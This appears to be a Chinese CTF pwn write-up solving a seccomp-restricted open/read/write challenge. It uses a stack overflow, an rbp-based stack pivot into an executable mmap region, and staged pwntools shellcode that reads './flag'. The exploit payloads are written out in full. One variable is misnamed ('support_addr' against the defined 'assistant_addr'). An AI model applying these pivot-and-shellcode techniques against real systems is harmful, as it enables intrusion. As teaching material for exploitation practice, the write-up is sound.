做的时候没注意到有个后门函数,有点搞复杂了。不过做法还怪有意思的,记录一下。
先走流程checksec一下,啥保护都没开。但这题在第三页,看来不是道二傻子题,必有蹊跷。我们来仔细看看:
程序逆向分析
漏洞点-mmap可执行内存块
首先映入眼帘的是这程序一上来就给我们搞了块可执行的内存空间,注意第三个参数prot,指示了映射区域的保护方式,这里是6 = 2 | 4,代表可读可执行。我其实一直搞不清PROT_EXEC、PROT_READ、PROT_WRITE三个标志对应的具体值,借着写writeup的机会测试了一下:
另外,手册指出,在一些硬件上PROT_WRITE蕴含着PROT_READ,尽管手册上是用i386举了例子,我猜amd64也是一个道理。尽管prot是6,做的过程中GDB读这块内存是没有问题的。
保护机制seccomp
这题的突出特点在于sub_400949,这里使用了seccomp模块。
seccomp(SECure COMPuting)安全计算是 Linux 内核 2.6.12 版本引入的安全模块,主要是用来限制某一进程可用的系统调用 (system call)。关于细节这里不再讲述(
[0, 1, 2, 60]
,代表只有这四个syscall可用,分别是[read, write, open, exit]
。很显然这是道ORW类的题目,我们要打开(Open)包含flag的文件,读(Read)它,然后写(Write)到控制台上。
尽管这题没开那些checksec里的保护机制,但这里整了个狠活儿。
漏洞点-栈溢出
继续浏览程序,相信你一眼就能看出sub_400A16处存在一个栈溢出,这里也是我们搞事情的起点。缓冲区
buf
距rbp
的距离是0x20,再算上rbp
本身,写入的0x38字节中我们只有0x10字节是可以用来控制程序执行流的。这是本题的难点,这点内存用来搞ROP是不够的。如果我们这里有0x20字节的空间,可以这样:
payload = b''.join([
cyclic(0x20),
b'_old_rbp',
p64(pop_rdi_ret), # ------------------
p64(elf.got['puts']), # 可用溢出空间
p64(elf.plt['puts']), # 0x20
p64(elf.symbols['_start']), # ------------------
]))
泄露出puts地址进而获得libc基址,然后再溢出返回到one_gadget就搞定了。但可惜没有0x20,我们得另寻它策。
如前面所说,这题有个后门函数通过它可以把前面的0x28空间利用上,但我做的时候没注意到,所以接下来不会出现到它。
它策
可用的溢出空间只有0x10,这代表我们只能改变一次返回地址。如果我们知道栈地址的话,可以直接返回到buf
开头处利用上前面的0x28空间,这样和利用后门函数的思路是一样的,其他师傅讲的很好了,这里不再赘述。既然我们找不到栈,就让栈来找我们。
我们重新审视下溢出点:
read(0, buf, 0x38uLL);
这段代码将0x38个字节从标准输入读到buf
处。最有趣的地方来了,buf
是哪?我们知道它是一个栈上变量,那它自然应该是在栈上,但具体是哪呢?
阅读汇编代码可以发现,这个位置具体是rbp-20
。一般来说这确实是一个栈地址,但我们可以控制rbp
。如下构造第一个payload
:
target_addr = 0x123000
assistant_addr = target_addr + 0x100
p.sendafter(b'Easy shellcode, have fun!\n', b''.join([
cyclic(0x20),
p64(assistant_addr+0x20),
p64(0x400A1E),
]))
与往常别的题不同,这回我们精心设置了一个rbp
的值,然后返回到read
之前。在新的一轮执行时,rbp
已经指向了0x123020。回想下前面的分析,buf
是一块相对rbp
变化的地址,新的这次read
会控制0x123000-0x123037的0x38字节。此时rsp
还在原来栈上,但这不是问题,函数最后的leave
会将rsp
引向我们新的栈空间,从而完成栈劫持。如下构造第二个payload
:
rd = shellcraft.read(0, target_addr, 0x100)
rd += shellcraft.push('rsi')
rd += shellcraft.ret()
rd = asm(rd)
p.sendafter(b'Easy shellcode, have fun!\n', b''.join([
rd.ljust(0x20, b'\x00'),
p64(0xdeadbeef),
p64(support_addr),
]))
这里和A师傅的思路就类似了区别在于我们现在准确的知道buf
地址,所以不再需要借助后门函数,直接return过去就好了。为了writeup的完整,附上最后一个payload
:
sh = shellcraft.open('./flag')
sh += shellcraft.read(3, target_addr, 0x100)
sh += shellcraft.write(1, target_addr, 0x100)
sh = asm(sh)
p.send(sh)
p.interactive()
这题是真的有意思,小有收获,小有收获。